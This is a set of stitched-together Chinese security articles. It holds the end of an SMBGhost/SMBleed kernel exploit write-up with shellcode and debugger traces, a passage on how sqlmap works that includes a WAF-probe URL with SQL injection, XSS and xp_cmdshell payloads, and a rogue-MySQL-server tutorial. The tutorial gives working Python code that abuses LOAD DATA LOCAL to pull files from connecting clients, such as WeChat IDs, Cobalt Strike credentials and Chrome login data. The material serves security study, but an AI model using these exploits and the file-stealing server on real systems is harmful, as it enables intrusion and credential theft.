+0x010 ApcListEntry : _LIST_ENTRY [ 0xffffca8d`178e9128 - 0xffffca8d`178e9128 ]
kd> dx -id 0,0,ffffca8d10ea3340 -r1 (*((ntkrnlmp!_LIST_ENTRY *)0xfffff78000000e40))
(*((ntkrnlmp!_LIST_ENTRY *)0xfffff78000000e40)) [Type: _LIST_ENTRY]
[+0x000] Flink : 0xffffca8d178e9128 [Type: _LIST_ENTRY *]
[+0x008] Blink : 0xffffca8d178e9128 [Type: _LIST_ENTRY *]
kd> db rax l1a+1
ffffca8d`178e9128 40 0e 00 00 80 f7 ff ff-40 0e 00 00 80 f7 ff ff @.......@.......
ffffca8d`178e9138 40 e2 cb 18 8d ca ff ff-00 00 02 @..........
### KernelApcRoutine函数
在这个函数里先将IRQL设置为PASSIVE_LEVEL（通过在KernelApcRoutine中将cr8置0），以便调用ZwAllocateVirtualMemory函数。
\+ 申请空间并复制用户态Shellcode 调用ZwAllocateVirtualMemory(-1, &baseAddr, 0, &0x1000,
0x1000, 0x40)分配内存，然后将用户态Shellcode复制过去。如下所示，分配到的地址为bc0000。
kd> dd rdx l1
fffffe80`766458d0 00000000
kd> dd fffffe80`766458d0 l1 //baseAddr
fffffe80`766458d0 00bc0000
kd> u rip //将用户模式代码复制到bc0000处：
fffff780`00000aa5 488b3e mov rdi,qword ptr [rsi]
fffff780`00000aa8 488d354d000000 lea rsi,[fffff780`00000afc]
fffff780`00000aaf b980030000 mov ecx,380h
fffff780`00000ab4 f3a4 rep movs byte ptr [rdi],byte ptr [rsi]
kd> u bc0000
00000000`00bc0000 4892 xchg rax,rdx
00000000`00bc0002 31c9 xor ecx,ecx
00000000`00bc0004 51 push rcx
00000000`00bc0005 51 push rcx
00000000`00bc0006 4989c9 mov r9,rcx
00000000`00bc0009 4c8d050d000000 lea r8,[00000000`00bc001d]
00000000`00bc0010 89ca mov edx,ecx
00000000`00bc0012 4883ec20 sub rsp,20h
* 查找kernel32模块 思路是通过遍历之前找到的"spoolsv.exe"的PEB结构中的Ldr->InMemoryOrderModuleList->Flink，找到kernel32模块（unicode字符串特征比对）。 PEB偏移0x18为_PEB_LDR_DATA结构的Ldr ，其偏移0x20处为一个_LIST_ENTRY结构的InMemoryOrderModuleList，_LIST_ENTRY结构中包含flink和blink指针，通过遍历flink指针可以查询不同模块的LDR_DATA_TABLE_ENTRY结构。
1: kd> dt _peb @rax
nt!_PEB
+0x000 InheritedAddressSpace : 0 ''
+0x001 ReadImageFileExecOptions : 0 ''
+0x002 BeingDebugged : 0 ''
+0x003 BitField : 0x4 ''
+0x003 ImageUsesLargePages : 0y0
+0x003 IsProtectedProcess : 0y0
+0x003 IsImageDynamicallyRelocated : 0y1
+0x003 SkipPatchingUser32Forwarders : 0y0
+0x003 IsPackagedProcess : 0y0
+0x003 IsAppContainer : 0y0
+0x003 IsProtectedProcessLight : 0y0
+0x003 IsLongPathAwareProcess : 0y0
+0x004 Padding0 : [4] ""
+0x008 Mutant : 0xffffffff`ffffffff Void
+0x010 ImageBaseAddress : 0x00007ff7`94970000 Void
+0x018 Ldr : 0x00007fff`ea7a53c0 _PEB_LDR_DATA
+0x020 ProcessParameters : 0x00000000`012c1bc0 _RTL_USER_PROCESS_PARAMETERS
+0x028 SubSystemData : (null)
+0x030 ProcessHeap : 0x00000000`012c0000 Void
......
1: kd> dx -id 0,0,ffff818c698db380 -r1 ((ntkrnlmp!_PEB_LDR_DATA *)0x7fffea7a53c0)
((ntkrnlmp!_PEB_LDR_DATA *)0x7fffea7a53c0) : 0x7fffea7a53c0 [Type: _PEB_LDR_DATA *]
[+0x000] Length : 0x58 [Type: unsigned long]
[+0x004] Initialized : 0x1 [Type: unsigned char]
[+0x008] SsHandle : 0x0 [Type: void *]
[+0x010] InLoadOrderModuleList [Type: _LIST_ENTRY]
[+0x020] InMemoryOrderModuleList [Type: _LIST_ENTRY]
[+0x030] InInitializationOrderModuleList [Type: _LIST_ENTRY]
[+0x040] EntryInProgress : 0x0 [Type: void *]
[+0x048] ShutdownInProgress : 0x0 [Type: unsigned char]
[+0x050] ShutdownThreadId : 0x0 [Type: void *]
1: kd> dx -id 0,0,ffff818c698db380 -r1 (*((ntkrnlmp!_LIST_ENTRY *)0x7fffea7a53e0))
(*((ntkrnlmp!_LIST_ENTRY *)0x7fffea7a53e0)) [Type: _LIST_ENTRY]
[+0x000] Flink : 0x12c2580 [Type: _LIST_ENTRY *]
[+0x008] Blink : 0x1363920 [Type: _LIST_ENTRY *]
LDR_DATA_TABLE_ENTRY结构偏移0x30处为模块基址，偏移0x58处为BaseDllName，其起始处为模块名的unicode长度（两个字节），偏移0x8处为该模块的unicode字符串。通过长度和字符串这两个特征可以定位kernel32模块，并通过DllBase字段获取基址。在实际操作中需要计算这些地址相对于InMemoryOrderLinks的偏移。
1: kd> dt _LDR_DATA_TABLE_ENTRY 0x12c2b00
nt!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x00000000`012c30f0 - 0x00000000`012c23e0 ]
+0x010 InMemoryOrderLinks : _LIST_ENTRY [ 0x00000000`012c3100 - 0x00000000`012c23f0 ]
+0x020 InInitializationOrderLinks : _LIST_ENTRY [ 0x00000000`012c45b0 - 0x00000000`012c3110 ]
+0x030 DllBase : 0x00007fff`e8ab0000 Void
+0x038 EntryPoint : 0x00007fff`e8ac7c70 Void
+0x040 SizeOfImage : 0xb2000
+0x048 FullDllName : _UNICODE_STRING "C:\Windows\System32\KERNEL32.DLL"
+0x058 BaseDllName : _UNICODE_STRING "KERNEL32.DLL"
1: kd> dx -id 0,0,ffff818c698db380 -r1 -nv (*((ntkrnlmp!_UNICODE_STRING *)0x12c2b58))
(*((ntkrnlmp!_UNICODE_STRING *)0x12c2b58)) : "KERNEL32.DLL" [Type: _UNICODE_STRING]
[+0x000] Length : 0x18 [Type: unsigned short]
[+0x002] MaximumLength : 0x1a [Type: unsigned short]
[+0x008] Buffer : 0x12c2cb8 : "KERNEL32.DLL" [Type: wchar_t *]
然后在kernel32模块的导出表中寻找CreateThread函数，然后将其保存至KernelApcRoutine函数的参数SystemArgument1中，传送给userland_start_thread。
; save CreateThread address to SystemArgument1
mov [rbx], rax
kd> dq rbx l1
fffffe80`766458e0 00000000`00001000
kd> p
fffff780`00000aea 31c9 xor ecx,ecx
kd> dq fffffe80`766458e0 l1
fffffe80`766458e0 00007ffa`d229a810
kd> u 7ffa`d229a810
KERNEL32!CreateThreadStub:
00007ffa`d229a810 4c8bdc mov r11,rsp
00007ffa`d229a813 4883ec48 sub rsp,48h
00007ffa`d229a817 448b542470 mov r10d,dword ptr [rsp+70h]
00007ffa`d229a81c 488b442478 mov rax,qword ptr [rsp+78h]
00007ffa`d229a821 4181e204000100 and r10d,10004h
00007ffa`d229a828 498943f0 mov qword ptr [r11-10h],rax
00007ffa`d229a82c 498363e800 and qword ptr [r11-18h],0
00007ffa`d229a831 458953e0 mov dword ptr [r11-20h],r10d
然后将QUEUEING_KAPC置0，将IRQL 恢复至APC_LEVEL。
_kernel_kapc_routine_exit:
xor ecx, ecx
; clear queueing kapc flag, allow other hijacked system call to run shellcode
mov byte [rbp+DATA_QUEUEING_KAPC_OFFSET], cl
; restore IRQL to APC_LEVEL
mov cl, 1
mov cr8, rcx
### 用户态Shellcode
最终成功运行到用户模式Shellcode，用户模式代码包含userland_start_thread和功能Shellcode（userland_payload），在userland_start_thread中通过调用CreateThread函数去执行功能Shellcode。userland_payload这里不再介绍。
userland_start_thread:
; CreateThread(NULL, 0, &threadstart, NULL, 0, NULL)
xchg rdx, rax ; rdx is CreateThread address passed from kernel
xor ecx, ecx ; lpThreadAttributes = NULL
push rcx ; lpThreadId = NULL
push rcx ; dwCreationFlags = 0
mov r9, rcx ; lpParameter = NULL
lea r8, [rel userland_payload] ; lpStartAddr
mov edx, ecx ; dwStackSize = 0
sub rsp, 0x20
call rax
add rsp, 0x30
ret
userland_payload:
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52......"
kd> u r8
00000000`00bc001d fc cld
00000000`00bc001e 4883e4f0 and rsp,0FFFFFFFFFFFFFFF0h
00000000`00bc0022 e8c0000000 call 00000000`00bc00e7
00000000`00bc0027 4151 push r9
00000000`00bc0029 4150 push r8
00000000`00bc002b 52 push rdx
00000000`00bc002c 51 push rcx
00000000`00bc002d 56 push rsi
### **总结~**
本文对公开的关于 SMBGhost 和 SMBleed 漏洞的几种利用思路进行跟进，逆向了一些关键结构和算法特性，最终在实验环境下拿到了System
Shell。非常感谢 blackwhite 和 zcgonvh
两位师傅，在此期间给予的指导和帮助，希望有天能像他们一样优秀。最后放上两种利用思路的复现结果：
### **参考文献**
* <https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796>
* <https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1206>
* <https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html>
* <https://blog.zecops.com/vulnerabilities/smbleedingghost-writeup-chaining-smbleed-cve-2020-1206-with-smbghost/>
* <https://blog.zecops.com/vulnerabilities/smbleedingghost-writeup-part-ii-unauthenticated-memory-read-preparing-the-ground-for-an-rce/>
* <https://blog.zecops.com/vulnerabilities/smbleedingghost-writeup-part-iii-from-remote-read-smbleed-to-rce/>
* <https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e7046961-3318-4350-be2a-a8d69bb59ce8>
* <https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/f1d9b40d-e335-45fc-9d0b-199a31ede4c3>
* <https://www.blackhat.com/docs/us-17/wednesday/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level%E2%80%93Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update.pdf>
* <https://mp.weixin.qq.com/s/rKJdP_mZkaipQ9m0Qn9_2Q>
* <https://mp.weixin.qq.com/s/71c6prw14AWYYJXf4-QXMA>
* <https://mp.weixin.qq.com/s/hUi0z37dbF9o06kKf8gQyw>
* * * | 社区文章 |
# sqlmap 内核分析 I: 基础流程
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：[@v1ll4n](https://www.zhihu.com/people/af8bd4cc442c1349ed0f46baff19e3fd)（安全研发工程师，现就职于长亭科技
）
一直在想准备一系列 sqlmap 的文章，担心会不会因为太老太旧了被大家吐槽，思前想后也查了一些现有的资料，还是准备出一部分关于 sqlmap
关键技术细节的探讨。同时也在对其核心的讨论中，提炼出一些思想与方法。
我相信在阅读本文的读者中，很大一部分人都是曾经尝试阅读过 sqlmap 源码的同学。但是在实际阅读的时候，我们发现大家总是存在各种各样奇葩的困难与困惑。
> “SqlMap 源码为什么会有大几百行一千行的方法啊”“它里面 conf 和 kb 又是啥？这两个全局变量里面到底存了啥？”“为什么我直接把
> sqlmap 的 xml 取出来，还是并不是特别方便使用他们的 payload”
我相信这些疑问大家肯定第一次在阅读这个项目的事，都会遇到。实际上，并不是因为 sqlmap
项目的水平高导致大家看不懂。而是由于项目背负了太多的历史包袱，导致在接近十年的发展中，开发者与后期维护者并没有对这款工具进行重构与大规模重写，反而是继续使用
python2 对其缝缝补补。
在本系列文章中，我们主要针对 sqlmap 的最核心的方方面面进行分析，本文主要针对基础流程进行介绍与描述，本文由非常细致的 sqlmap
源码解读，希望有需要的读者可以从中受益。
## 0x00 准备工作
想要阅读 sqlmap 源码我相信大家的选择肯定更多的是从 github 下直接 clone 代码到本地，直接使用本地编辑器或者 IDE
打开直接来分析。所以基本操作也就是
git clone https://github.com/sqlmapproject/sqlmap
cd sqlmap
进入 sqlmap 的 repos 下，直接打开编辑器吧！
当然很多读者是 Python3 用户，其实也没有必要费很大力气在本机上安装 Python2 然后再进行操作。笔者使用的环境是
* Mac OS X
* Pyenv
* VSCode
推荐使用 Pyenv（+virtualenv） 构建 Python 环境运行 sqlmap。
## 0x01 初始化与底层建筑
笔者当然可以直接指出所有的重要逻辑在什么位置，但是这样并不好。这样做的后果就是大家发出奇怪的疑问：
> 它里面 conf 和 kb 又是啥？这两个全局变量里面到底存了啥？
逐步熟悉整个项目的构建和项目中贯穿全局的两个奇怪的全局变量，对于加速理解 sqlmap 的核心逻辑起了很大的作用。在笔者的工作和实践中，确实是很有感触。
所以我们还是从头看起吧！
我们在上图中，可以找到很明显的程序命令行入口，我们暂且只分析命令行入口所以，我把无关的东西全部打了马赛克，所以接下来我们看到 `main` 函数直接来了解
我相信大家看到了上图应该就知道我们主要应该看 `try` 中的内容。实际上 `except` 中指的是 sqlmap
中各种各样异常处理，包含让程序退出而释放的异常/用户异常以及各种预期或非预期异常，在 `finally`
中，大致进行了数据库（HashDB）的检查/恢复/释放以及 `dumper`
的收尾操作和多线程的资源回收操作。具体的不重要的代码我们就不继续介绍了，接下来直接来了解比较重要的部分吧。
在实际在工作部分中，我们发现了 1-4 函数对环境和基础配置进行了一同操作，然后在 5 步骤的时候进行步骤初始化，然后开始启动
sqlmap。实际上这些操作并不是一无是处，接下来有详有略介绍这些步骤究竟发生了什么。
1. 在 DirtyPatches 中，首先设定了 httplib 的最大行长度（`httplib._MAXLINE`），接下来导入第三方的 windows 下的 ip地址转换函数模块（`win_inet_pton`），然后对编码进行了一些替换，把 `cp65001` 替换为 `utf8` 避免出现一些交互上的错误，这些操作对于 sqlmap 的实际功能影响并不是特别大，属于保证起用户体验和系统设置的正常选项，不需要进行过多关心。
2. 在环境检查中，做了如下操作：检查模块路径，检查 Python 版本，导入全局变量。我们可能并不需要关心太多这一步，只需要记得在这一步我们导入了几个关键的全局变量：`("cmdLineOptions", "conf", "kb")`，需要提醒大家的是，直接去 `lib.core.data` 中寻找这几个变量并不是明智的选择，因为他们并不是在这里初始化的（说白了就是找到了定义也没有用，只需要知道有他们几个就够啦）。
3. 初始化各种资源文件路径。
4. 打印 Banner。
5. 这一部分可以说是非常关键了，虽然表面上仍然是属于初始化的阶段，但是实际上，如果不知晓这一步，面对后面的直接对全局变量 `kb` 和 `conf` 的操作将会变的非常奇怪和陌生。在这步中，我们进行了配置文件初始化，知识库（KnowledgeBase初始化）以及用户操作的 `Merge` 和初始化。我们在之后的分析中如果遇到了针对 `kb` 和 `conf` 的操作，可以直接在这个函数对应的 `lib.core.option` 模块中寻找对应的初始化变量的定义。当然，这一步涉及到的一些 `kb/conf` 的 fields 也可能来源于 `lib.parse.cmdline` 中，可以直接通过 `ctrl+F` 搜索到
1. 中主要包含所有初始变量的初始值，这些初始值在 `init()` 的设定主要是引用各种各样的函数来完成基础设置，我们没有必要依次对其进行分支，只需要用到的时候知道回来寻找就可以了。
2. 冒烟测试，测试程序本身是否可以跑得通。
3. 功能测试，测试 sqlmap 功能是否完整。
进入上一段代码的条件是 `if not conf.updateAll`，这个是来源于 `lib.parse.cmdline`
中定义的更新选项，如果这个选项打开，sqlmap 会自动更新并且不会执行后续测试步骤和实际工作的步骤。
在实际的启动代码中，笔者在上图中标注了两处，我们在使用命令行的时候，更多的是直接调用 start() 函数，所以我们直接跟入其中寻找之后需要研究的部分。
## 0x02 测试前的目标准备
当我们找到 start() 函数的时候，映入眼帘的实际上是一个很平坦的流程，我们简化一下，以下图代码为例：
我们仍然看到了 `conf` 中一些很奇怪的选项，针对这些选项我们在 0x01 节中强调过，可以在某一些地方找到这些选项的线索，我们以
`conf.direct` 为例，可以在 `lib.parse.cmdline` 中明确找到这个选项的说明：
根据说明，这是直连数据库的选项，所以我们可能暂时并不需要关心他，我们暂时只关注 sqlmap 是如何检测漏洞的，而不关心他是怎么样调用数据库相关操作的。
接下来稍有一些想法的读者当然知道，我们直接进行第四部分针对这个目标循环的分析是最简单有效的办法了！
好的，接下来我们就打开最核心的检测方法：
进入循环体之后，首先进行检查网络是否通断的选项，这个选项很容易理解我们就不多叙述了；确保网络正常之后，开始设置
`conf.url,conf.method,conf.data,conf.cookie` 和 headers 等字段，并且在
`parseTargetUrl()` 中进行各种合理性检查；之后会根据 HTTP 的 Method
提取需要检查的参数；随后如果当前启动时参数接受了多个目标的话，会在第4步中做一些初始化的工作。
在完成上述操作之后，执行 `setupTargetEnv()` 这个函数也是一个非常重要的函数，其包含如下操作：
def setupTargetEnv():
_createTargetDirs()
_setRequestParams()
_setHashDB()
_resumeHashDBValues()
_setResultsFile()
_setAuthCred()
其中除了 `setRequestParams()` 都是关于本身存储（缓存）扫描上下文和结果文件的。当然我们最关注的点肯定是
`setRequestParams()` 这个点。在深入了解这一个步骤之后，我们发现其中主要涉及到如下操作：
所以我们回归之前的 `start()` 方法中的 foreach targets 的循环体中，在 `setupTargetEnv()`
之后，我们现在已经知道了关于这个目标的所有的可以尝试注入测试的点都已经设置好了，并且都存在了 `conf.paramDict` 这个字典中了。
至此，在正式开始检测之前，我们已经知道，`conf.url, conf.method, conf.headers ...`
之类的包含基础的测试的目标的信息，在 `conf.paramDict` 中包含具体的不同位置的需要测试的参数的字典，可以方便随时渲染
Payload。关于其具体的行为，其实大可不必太过关心，因为我们其实并不需要具体的处理细节，这些细节应该是在我们遇到问题，或者遇到唔清楚的地方再跳出来在这些步骤中寻找，并且进行研究。
## 0x03 万事俱备
可以说在读者了解上面两节讲述的内容的时候，我们就可以正式探查真正的 SQL 注入检测时候 sqlmap 都坐上了什么。其实简单来说，需要经过下面步骤：
笔者通过对 `controller.py` 中的 `start()`
函数进行分析，得出了上面的流程图。在整个检测过程中，我们暂且不涉及细节；整个流程都是针对检查一个目标所要经历的步骤。
### checkWaf
在 `checkWaf()` 中，文档写明：`Reference: http://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse`，我们可以在这里发现他的原理出处，有兴趣的读者可以自行研究。在实际实现的过程中代码如下：
笔者在关键部分已经把标注和箭头写明，方便大家理解。我们发现 `payload` 这个变量是通过随机一个数字 + space + 一个特制
Payload（涉及到很多的关于敏感关键词，可以很容易触发 WAF 拦截）。
随即，sqlmap 会把 payload 插入该插入的位置：对于 GET 类的请求，sqlmap 会在之前的 query
语句后面加入一个新的参数，这个参数名通过 `randomStr()` 生成，参数的值就是经过处理的
Payload。如果有读者不理解，我们在这里可以举一个例子：
如果我们针对
http://this.is.a.victim.com/article.php?id=1
这样的 URL 进行 Waf 的检查，sqlmap 会发起一个
http://this.is.a.victim.com/article.php?id=1&mbjwe=2472%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--/%
2A%2A/%3B%20EXEC%20xp_cmdshell%28%27cat%20../../../etc/passwd%27%29%23
的新的请求，这个请求会有很大概率触发 Waf 的反应，然后 sqlmap 通过判断返回页面和之前页面的 Page Ratio 来判断是否触发了 WAF。
### 我们似乎遇到一些问题
有心的读者可能发现，我们在上小节出现了一个神奇陌生的词 Page Ratio, 这个词其实在整个 sqlmap
中是非常重要的存在，我们之后会在后续的文章中详细介绍这部分理论。
## 0x04 然后呢
其实我们当然可以继续讲解每一个函数都做了什么，但是限于篇幅问题，我们可能要先暂停一下了；与此同时，我们本文的内容“基础流程”实际上已经介绍完了，并且引出了我们需要在下一篇文章介绍的概念之一“Page
Ratio”。
所以接下来我们可能要结束本文了，但是我更希望的是，每一个读者都能够尝试自己分析，自己去吃透 sqlmap 的细节。
## 0x05 结束语
感谢读者的耐心，在接下来的文章中，笔者将会更加深入介绍 sqlmap 最核心的算法和细节处理。 | 社区文章 |
更新时间：2022.08.16
# 本文未经过授权，禁止转发至微信公众号
# 1\. 反制介绍
## 1.1 前言
前天在网上看到巨佬`abc123`分析的一篇文章：
<https://mp.weixin.qq.com/s/i8eBT8O2IwCotf7wqnveEw>
在这里分析了`cs`服务器被人反打的问题，师傅对其中的`mysql`蜜罐反制做了复现，并且成功实现反制。在这篇文章中，有一个比较特别的地方：只要连到`mysql`就会读取到本地的任意文件，并不需要一定要`mysql`连接成功。
这一点比较重要，本文将对`mysql`蜜罐来做一个学习，其实在早些时候，`ling`师傅已经发过一篇`mysql`蜜罐反制的文章了：
https://cloud.tencent.com/developer/article/1856248
但是网上很多文章都是基于`Navicat`来连接反制的，本文将对其进行一一复现学习。
本文内容较多，后期我也会录制视频来讲解下。
## 1.2 反制思路
`MySQL`服务端可以利用`LOAD DATA
LOCAL`命令来读取`MYSQL`客户端的任意文件，然后伪造恶意服务器向连接到这个服务器的客户端发送读取文件的`payload`。
`Load data infile`是`MySQL`的一个高效导入数据的方法，它的速度非常快。是`MySQL`里一款强大的数据导入工具。
网上有很多文章分析，`mysql`蜜罐反制是可以读取到本地的任意文件的，比如：微信`id`、`Chrome`历史记录等。
# 2\. mysql连接分析
先不着急对反制进行学习，在这里先对`mysql`进行通讯的过程进行学习。
## 2.1 环境准备
云服务器`vps`上使用`phpstudy`开启`mysql`，并且将其设置为支持外联。
use mysql; （加载数据库）
grant all privileges on *.* to root@'%' identified by '你的密码'; （修改登录主机 % 为任意主机）
flush privileges; （刷新权限）
在本地连接一下试试：
`1*.*.**.*5`
账号：`root`
密码： ** *********
在这里使用命令行访问的同时打开Wireshark：
到此，分析一下流量。
## 2.2 mysql登录认证分析
当前是一个登录的过程：
首先是`Greeting`包，返回了服务端的`Version`等信息。
第二阶段是用户登录，当前可以看到用户名和密码hash值：
认证成功：
如果是账号或者密码错误的时候：
当我们发送一个查询指令的时候：
但是`Navicat`登录认证和以上的稍微有一些不同，在这里以`Windows`试用版的`Navicat`为例分析下。
# 3\. Navicat登录认证分析
本文以Navicat16 试用版为例进行分析，登录流程与上述分析相差不多，在登录认证成功之后多了一个查询的操作：
SET NAMES utf8mb4SET
问题就出在这个位置，下面结合`mysql`特性和`Navicat`特性来学习。
## 3.1 mysql特性
MySQL服务端可以利用`LOAD DATA
LOCAL`命令来读取`MYSQL`客户端的任意文件，然后伪造恶意服务器向连接到这个服务器的客户端发送读取文件的`payload`。
`load data infile`语句从一个文本文件中以很高的速度读入一个表中。
首先在本地使用`phpstudy`开启数据库，并且使用`Navicat`进行连接：
在这里使用命令查询`Load data infile`命令是否开启：
show global variables like'local_infile';
当前可以看到在`phpstudy`中该功能是默认开启的，如果没有开启的话，可以使用以下命令开启：
set global local_infile=1;
然后新建一个表为`test1`，在本地执行以下命令：
load data local infile 'C:/phpstudy2018/PHPTutorial/WWW/1.txt' into table test.test1 fields terminated by '\n';
执行之后，刷新`test1`的表：
此时写入成功。
## 3.2 Navicat通讯分析
在`Navicat`建立一个新的`mysql`连接中，一共产生了如下的流量：
在这里和最开始上面的`mysql`认证分析相差无异，在这里继续模拟一下`load data infile`的功能，看下这个流量有何不同。
以下过程均开启`wireshark`分析流量：
远程数据库新建一个`表2`：
直接执行一下上面的那个命令，记得修改下表名为`test2`：
load data local infile 'C:/phpstudy2018/PHPTutorial/WWW/1.txt' into table test.test2 fields terminated by '\n';
此时执行成功：
刷新一下表之后，数据写入成功：
注意：在这里加载的是客户端的本地文件数据，写入到远程的服务端的数据库中。
在这个过程里面因为流量很杂，所以我们将`test2`的表新建之后，删除其中字段的值，将链接断开，只抓取`mysql`登录之后，请求文件的操作，整个流量过滤一下。
在整个过滤的数据中，找到了请求读取文件的语句：
重点看一下应答：
将当前的信息分为`4个`部分：
在这个图中：
* 第一个位置`00 00 01`值得是数据包的序号
* 第二个位置`fb`是包的类型
* 第三个位置是从`fb`开始到最后，为文件名
* 第四个位置为从`fb`开始到最后的文件名长度，为`16进制`的，十六进制的`26`转化为十进制为`38`。
解码情况如下：
<https://www.bejson.com/convert/ox2str/>
然后读取文件内容到指定位置：
在`Navicat`连接`mysql`的过程中可以看到，首先需要建立一个连接，然后再发送自动发送`SET NAMES utf8mb4`
，最后构造`Response
TABULAR`包的`payload`来返回给客户端，然后请求下载客户端的文件。当然，在这个过程中，是人为的请求将本地的文件上传到远程服务器上的，具体流程可以见下图：
图片来源：<https://mp.weixin.qq.com/s/rQ9BpavBeMnS6xUOidZ5OA>
# 4\. Navicat反制的坑
通过以上流程可以知道，如果是针对数据库管理软件`Navicat`，并且开启了`load data
infile`功能，理论上来说，就可以进行反制，在这里借用师傅在以下文章中的代码：
<https://mp.weixin.qq.com/s/rQ9BpavBeMnS6xUOidZ5OA>
使用`socket`模块来模拟一个`mysql`认证的流程：
import socket
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
port = 3306
serversocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
serversocket.bind(("", port))
serversocket.listen(5)
while True:
# 建立客户端连接
clientsocket,addr = serversocket.accept()
print("连接地址: %s" % str(addr))
# 返回版本信息
version_text = b"\x4a\x00\x00\x00\x0a\x38\x2e\x30\x2e\x31\x32\x00\x08\x00\x00\x00\x2a\x51\x47\x38\x48\x17\x12\x21\x00\xff\xff\xc0\x02\x00\xff\xc3\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7a\x6f\x6e\x25\x61\x3e\x48\x31\x25\x43\x2b\x61\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
clientsocket.sendall(version_text)
try:
# 客户端请求信息
clientsocket.recv(9999)
except Exception as e:
print(e)
# Response OK
verification = b"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
clientsocket.sendall(verification)
try:
# SET NAMES utf8mb4
clientsocket.recv(9999)
except Exception as e:
print(e)
# Response TABULAR
evil_response = b"\x09\x00\x00\x01\xfb\x43\x3a\x2f\x31\x2e\x74\x78\x74"
clientsocket.sendall(evil_response)
# file_text
print(clientsocket.recv(9999))
clientsocket.close()
在本地运行之后，使用ssh工具去登录：
此时显示`mysql`登录成功。
如果使用`Navicat`来连接的话：
这里因为`Navicat`本身连接之后的操作要比命令行连接要多，所以这里显示失败也是正常的。可以将代码修改修改即可满足。
在满足`Navicat`连接`mysql`的条件之后，可以知道只需要服务器端来发送一个`payload`就可以获取主机的文件了。理论上来说，可以获取的文件类型非常的多，甚至是非常敏感的文件，在这里一一学习下。
我看过非常多的`mysql`反制文章，基本上每一个师傅都顺利拿到了`微信id`等敏感信息，但是我在复现的时候发现，我没有一次是能成功的，最后发现了问题：
我在复现的时候使用的是Navicat绿色版，打开即用，不需要安装，问题也就出在这，如果想要反制成功的话，必须一定需要安装版的Navicat！！！
错误示范：
# 5\. Navicat反制
## 5.1 反制条件准备
环境准备：
`Navicat12`试用版
攻击机：`linux`
靶机：`Windows server 2012`、`Windows10`
所需要的条件：正常安装版本的`Navicat`，不能使用绿色版（建议使用正版，版权意识从你我做起）
Navicat本身不需要做任何的配置
## 5.2 获取主机名
脚本来源 ：<https://cloud.tencent.com/developer/article/1856248>
在这里是为了获取`Windows`下的计算机用户名。
C:\Windows\PFRO.log
脚本修改之后：
# coding=utf-8
import socket
import os
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
port = 3306
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(("", port))
server.listen(5)
def get_data(filename, client, addr):
base_path = os.path.abspath('.') + "/log/" + addr[0]
if not os.path.exists(base_path):
os.makedirs(base_path)
evil_response = str.encode(chr(len(filename)+1)) + b"\x00\x00\x01\xfb" + str.encode(filename) # 恶意响应包
client.sendall(evil_response)
file_data = client.recv(999999)
print(file_data)
with open(base_path + "/" + filename.replace("/", "_").replace(":", ""), "wb+") as f:
f.write(file_data)
f.close()
while True:
# 建立客户端连接
client, addr = server.accept()
print("连接地址: %s" % str(addr))
# 返回版本信息
version_text = b"\x4a\x00\x00\x00\x0a\x38\x2e\x30\x2e\x31\x32\x00\x08\x00\x00\x00\x2a\x51\x47\x38\x48\x17\x12\x21\x00\xff\xff\xc0\x02\x00\xff\xc3\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7a\x6f\x6e\x25\x61\x3e\x48\x31\x25\x43\x2b\x61\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
client.sendall(version_text)
try:
# 客户端请求信息
client.recv(9999)
except Exception as e:
print(e)
# Response OK
verification = b"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
client.sendall(verification)
try:
# SET NAMES utf8mb4
client.recv(9999)
except Exception as e:
print(e)
# Response TABULAR
filename = "C:\\Windows\\PFRO.log"
#这里为要读取的文件路径
get_data(filename, client, addr)
client.close()
然后启动蜜罐：
配置连接信息，注意，在这里账号密码随意，毕竟`mysql`服务都是模拟的。
在这里直接点击连接测试：
此时看下蜜罐：
看下`log`文件，此时获得用户名。
## 5.3 获取微信id
在上面获取到主机用户名之后，就可以直接获取微信id，如果微信默认安装的话，在这里的路径就是：
C:\Users\<目标用户名>\Documents\WeChat Files\All Users\config\config.data
现在已经知道了用户名，所以文件名称为：
C:\Users\Administrator\Documents\WeChat Files\All Users\config\config.data
在这里因为靶机上没有这个数据，所以伪造以下，试试：
然后在靶机上连接试试，连接之后就会显示当前的微信id：
## 5.4 cobalt strike反制
在本年`hvv`中，很多师傅的`cs`被反制，其实这个反制的原理非常简单，`cobalt
strike`在启动时，用户端会默认生成一个隐藏的文件：`.aggressor.prop`，这个文件会在当前用户目录下：
比如当前的用户是`Administrator`，那目录就是：
C:\Users\Administrator\.aggressor.prop
`.aggressor.prop`文件里面详细记录了`cs`连接的账号、密码、端口、插件地址等。
在这里试试：
直接运行，等结果：
在这里获取到你的cs账号密码，反制轻松：
## 5.5 Chrome账号和历史记录
在这里看到当前反制可以理解为一个`ssrf`了，可以下载电脑中的大部分文件，具体的有：
chrome的login data，虽然无法解密出密码，但是还是可以获取到对方的一些账号的
